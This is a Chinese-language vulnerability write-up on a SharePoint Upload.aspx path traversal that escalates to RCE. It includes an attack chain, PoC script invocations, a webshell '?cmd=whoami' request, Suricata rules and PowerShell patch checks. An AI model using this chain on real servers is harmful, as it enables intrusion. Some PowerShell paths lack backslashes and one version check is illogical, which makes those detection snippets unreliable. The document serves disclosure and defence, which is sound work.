CVE-2026-45454:微软SharePoint服务器上传页面文件夹路径遍历至RCE

导语:安全研究团队AretiQ近日发布报告,披露了微软SharePoint Server中一个危险的路径遍历漏洞。该漏洞存在于文件上传页面Upload.aspx,攻击者可通过构造特殊的RootFolder参数,绕过权限检查将文件写入任意文档库。更危险的是,当SharePoint配置了PageParserPaths允许主页面库执行服务器脚本时,攻击者可上传ASPX webshell实现远程代码执行。


一、漏洞概述

SharePoint Server的文件上传页面(Upload.aspx)存在路径遍历漏洞。UploadPage.CurrentFolder属性从用户可控的RootFolder查询参数中解析上传目标,但未验证解析后的文件夹是否属于List参数指定的文档库。

拥有某一文档库上传权限的认证攻击者,可构造请求将文件上传到同一站点的其他受限文档库——包括主页面库(_catalogs/masterpage)。

当SharePoint Web应用程序配置了PageParserPaths允许主页面库执行服务器端脚本时(使用自定义品牌或主页面的部署中常见配置),攻击者可上传ASPX webshell,在w3wp.exe应用程序池身份下执行任意操作系统命令,从而将漏洞从路径遍历升级为完整的远程代码执行。

微软通过在CurrentFolder属性中添加ParentListId所有权检查来修复此漏洞。


二、漏洞类型与严重程度

漏洞类型

CWE-22:路径名限制不当(路径遍历)

CVSS评分

CVSS 3.1评分:6.5(中危)

向量:CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N/E:U/RL:O/RC:C

AretiQ评估(CVSS 4.0):8.2(高危)

向量:CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N/E:P

微软评估该漏洞利用”可能性较低”,且无已知活跃利用(CVRF 2026年6月)。


三、受影响产品

产品CPE 2.3补丁
Microsoft SharePoint Server 2019cpe:2.3:a:microsoft:sharepoint_server:2019:kb5002874KB5002874
Microsoft SharePoint Enterprise Server 2016cpe:2.3:a:microsoft:sharepoint_server:2016:kb5002880KB5002880
Microsoft SharePoint Server Subscription Editioncpe:2.3:a:microsoft:sharepoint_server:subscription_edition:kb5002873KB5002873

测试环境(受影响版本)

组件详情
产品SharePoint Server 2019(Windows Server 2025 Standard 24H2)
构建版本16.0.10417.20128
二进制文件microsoft.office.policy.pages.dll
文件版本16.0.10337.12109
大小547,096字节
SHA256E7ECA49AB6485D0F4281420FD680A7DAD9418B86086773C47BB445A3BFF51CBA

四、漏洞根因分析

4.1 漏洞原理详解

SharePoint的Upload.aspx页面(代码后台:microsoft.office.policy.pages.dll中的UploadPage)负责处理文档库的文件上传。页面接受两个查询字符串参数:

  • List:目标文档库的GUID(用于权限检查)
  • RootFolder:目标文件夹的服务器相对URL

CurrentList属性将List参数解析为SPDocumentLibrary对象。SharePoint通过LayoutsPageBase.RightsRequired检查当前用户是否对该库具有AddListItems权限。

CurrentFolder属性通过SPWeb.GetFolder()将RootFolder参数解析为SPFolder对象:

// UploadPage.CurrentFolder(补丁前)
protected SPFolder CurrentFolder
{
    get
    {
        if (m_folder == null)
        {
            // RootFolder通过GetFolder解析——无所有权检查
            m_folder = PrivateWeb.GetFolder(CurrentFolderServerRelativeUrl);
        }
        return m_folder;
    }
}

protected virtual string CurrentFolderServerRelativeUrl
{
    get
    {
        if (m_folderUrl == null)
        {
            string value = SPRequestParameterUtility.GetValue<string>(
                this.Request, "RootFolder"); // <-- 用户可控
            if (!string.IsNullOrEmpty(value))
                m_folderUrl = value;
            else
                m_folderUrl = CurrentList.RootFolder.ServerRelativeUrl;
        }
        return m_folderUrl;
    }
}

漏洞根源:GetFolder()解析的是站点上任意有效的文件夹URL,不会检查该文件夹是否属于List指定的库。攻击者可以将List设置为有上传权限的库(通过权限检查),同时将RootFolder设置为完全不同库的文件夹(重定向实际上传目标)。

当OnSubmit()处理文件上传时,它调用UploadFile()将文件添加到CurrentFolder.Files——即遍历后的文件夹,而非授权库的文件夹。

4.2 修复方案

补丁在CurrentFolder属性getter中添加了两项验证检查:

// UploadPage.CurrentFolder(补丁后)
protected SPFolder CurrentFolder
{
    get
    {
        if (m_folder == null)
        {
            // [新增] 空列表检查
            if (CurrentList == null)
            {
                throw new ArgumentException(
                    "RootFolder parameter is being resolved but no target list is set.");
            }

            m_folder = PrivateWeb.GetFolder(CurrentFolderServerRelativeUrl);

            // [新增] 父列表所有权检查
            if (m_folder.ParentListId != CurrentList.ID)
            {
                throw new ArgumentException(
                    "Possible folder traversal attempt.");
            }
        }
        return m_folder;
    }
}
对比项补丁前补丁后
GetFolder(RootFolder)无所有权检查GetFolder后检查ParentListId == CurrentList.ID
CurrentList为空静默继续抛出ArgumentException
日志记录ULS跟踪标签用于遍历检测(495502806、495502807)

五、漏洞影响

该漏洞有两个等级的影响:

等级一——无条件:任意文件上传至受限库

拥有任何文档库 Contribute 权限的认证攻击者,可以将任意文件上传到同一SharePoint站点上的任何其他文档库,无论是否对目标库有权限。AretiQ演示了通过List指向”Documents”库、RootFolder指向主页面库来上传文件——文件成功出现在主页面库中。

等级二——条件性:通过Webshell实现远程代码执行

当SharePoint Web应用程序的web.config包含为/_catalogs/masterpage/*启用AllowServerSideScript的条目时(使用自定义主页或品牌的生产部署中常见配置),攻击者可以将ASPX webshell上传到主页面库。SharePoint从该位置编译和执行ASPX文件作为服务器端代码,允许攻击者在w3wp.exe应用程序池身份下运行任意OS命令。

AretiQ在SharePoint Server 2019上确认了RCE:whoami返回应用程序池身份,并演示了完整命令执行(hostname、ipconfig等)。

5.1 RCE攻击链

  1. 攻击者对”Documents”库有Contribute权限
  2. GET Upload.aspx?List={Documents_GUID}&RootFolder=/_catalogs/masterpage
  3. POST webshell.aspx到相同URL(遍历上传)
  4. 文件落入/_catalogs/masterpage/webshell.aspx
  5. GET /_catalogs/masterpage/webshell.aspx?cmd=whoami
  6. SharePoint编译ASPX → 服务器端代码执行
  7. 输出:应用程序池身份

5.2 SafeMode注意事项

SharePoint的SafeMode页面解析器默认阻止存储在内容数据库中的页面内的内联代码块(、)。然而:

  • 在未修补系统上,@Page和@Control指令被接受
  • Safe控件(例如asp:Label、DataFormWebPart)在SafeMode中呈现和执行
  • 当为/_catalogs/masterpage/*配置了AllowServerSideScript=”true”的PageParserPath时,允许完整内联代码执行

六、复现步骤

6.1 路径遍历PoC

前置条件:

  • 运行有漏洞的microsoft.office.policy.pages.dll的SharePoint Server(SP2019测试)
  • 同一SharePoint站点上有两个文档库(例如”Documents”和”Restricted Documents”)
  • 拥有源库Contribute权限的认证用户
  • Python 3.10+,安装requests和requests_ntlm
  • 可访问SharePoint的/_layouts/15/Upload.aspx

复现步骤:

运行路径遍历PoC:

uv run exploit_upload_traversal.py --target http://sharepoint.example.com --user DOMAIN\user --password

脚本会:

  • 获取”Documents”(源库)的GUID
  • GET Upload.aspx?List={Docs_GUID}&RootFolder=/Restricted Documents提取表单令牌
  • POST文件上传表单到相同URL
  • 验证文件是否出现在”Restricted Documents”中

测试结果:

指标有漏洞的服务器已修补服务器
HTTP响应200200(错误页面)
目标库中的文件是(traversal_proof.txt)否(0个文件)
错误日志“Possible folder traversal attempt”(ULS 495502806)

6.2 远程代码执行PoC

额外前置条件:

SharePoint Web应用程序的web.config必须包含:

<PageParserPath path="/_catalogs/masterpage/*" includeSubFolders="true" allowServerSideScript="true" />

复现步骤:

运行RCE PoC:

uv run exploit_rce_masterpage.py 
  --target http://sharepoint.example.com 
  --user DOMAIN\user --password 
  --source-lib Documents --payload canary

脚本会:

  • 利用路径遍历将ASPX webshell上传到/_catalogs/masterpage/
  • 浏览上传的页面触发服务器端编译
  • 提取服务器信息(机器名、身份、进程ID)或执行命令

命令执行:

uv run exploit_rce_masterpage.py 
  --target http://sharepoint.example.com 
  --user DOMAIN\user --password 
  --payload inline --cmd "whoami & hostname"

RCE测试结果:

指标有漏洞的服务器已修补服务器
Webshell上传到_masterpage否(遍历被阻止)
服务器端代码执行不适用
whoami输出应用程序池身份不适用
执行上下文w3wp.exe(应用程序池身份)不适用

七、检测方案

7.1 网络检测

Suricata规则

# 检测SharePoint Upload.aspx到主页面库的遍历(RCE向量)
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2026-45454 SharePoint Upload Path Traversal to Master Page Gallery"; 
  flow:to_server,established; 
  content:"Upload.aspx"; http_uri; 
  content:"List="; http_uri; 
  content:"RootFolder="; http_uri; 
  content:"_catalogs"; http_uri; 
  reference:cve,CVE-2026-45454; 
  classtype:web-application-attack; 
  sid:2026454541; rev:2;)

# 检测可能不匹配的List/RootFolder的Upload.aspx(更广泛)
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2026-45454 SharePoint Upload Path Traversal - suspicious RootFolder"; 
  flow:to_server,established; 
  content:"Upload.aspx"; http_uri; 
  content:"List="; http_uri; 
  content:"RootFolder="; http_uri; 
  pcre:"/RootFolder=[^&]*(?:/[A-Z][^/&]+)/Ui"; 
  reference:cve,CVE-2026-45454; 
  classtype:web-application-attack; 
  sid:2026454542; rev:1;)

7.2 主机检测

PowerShell检查二进制版本

$dll = Get-Item "C:Program FilesCommon Filesmicrosoft sharedWeb Server Extensions16ISAPImicrosoft.office.policy.pages.dll" -ErrorAction SilentlyContinue
if ($dll) {
    $ver = [Version]$dll.VersionInfo.FileVersion
    $hash = (Get-FileHash $dll.FullName -Algorithm SHA256).Hash
    Write-Host "File Version : $ver"
    Write-Host "SHA256 : $hash"
    if ($ver -ge [Version]"16.0.10000.0" -and $ver -lt [Version]"16.0.10417.20153") {
        Write-Host "[!] VULNERABLE — SP2019 DLL predates KB5002874 fix" -ForegroundColor Red
    }
    elseif ($ver -lt [Version]"16.0.5556.1000" -and $ver -lt [Version]"16.0.10000.0") {
        Write-Host "[!] VULNERABLE — SP2016 DLL predates KB5002880 fix" -ForegroundColor Red
    }
    else {
        Write-Host "[*] Patched — file version is at or above the fix" -ForegroundColor Green
    }
}

PowerShell检查已安装KB

Get-HotFix -Id KB5002874,KB5002880 -ErrorAction SilentlyContinue |
    Format-Table HotFixID, InstalledOn -AutoSize

ULS日志监控(补丁后)

在已修补服务器上,利用尝试会记录在SharePoint ULS日志中:

ULS标签消息含义
495502806“Possible folder traversal attempt”RootFolder解析到指定List之外的文件夹
495502807“RootFolder parameter is being resolved but no target list is set”空CurrentList——格式错误或篡改的请求
Get-Content "C:Program FilesCommon Filesmicrosoft sharedWeb Server Extensions16LOGS*.log" |
    Select-String "49550280[67]"

7.3 已知漏洞二进制哈希

产品SHA256
SP2019 (16.0.10337.12109)E7ECA49AB6485D0F4281420FD680A7DAD9418B86086773C47BB445A3BFF51CBA
SP2016 (16.0.5535.1000)79E3C4BA0D4EFA947C0ADFADE596A23E68EAF34D126AF68C80A76391DC634919

八、参考资料

  • Microsoft Advisory:https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45454
  • MITRE CVE:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45454
  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-45454
  • KB5002874(SP2019 2026年6月):https://support.microsoft.com/help/5002874
  • KB5002880(SP2016 2026年6月):https://support.microsoft.com/help/5002880

来源:AretiQ安全研究团队(aretiq.ai),2026年6月。

版权声明:本文由华盟网原创发布,保留所有权利。配图由华盟网授权使用。

© 版权声明
THE END
喜欢就支持一下吧
点赞13 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容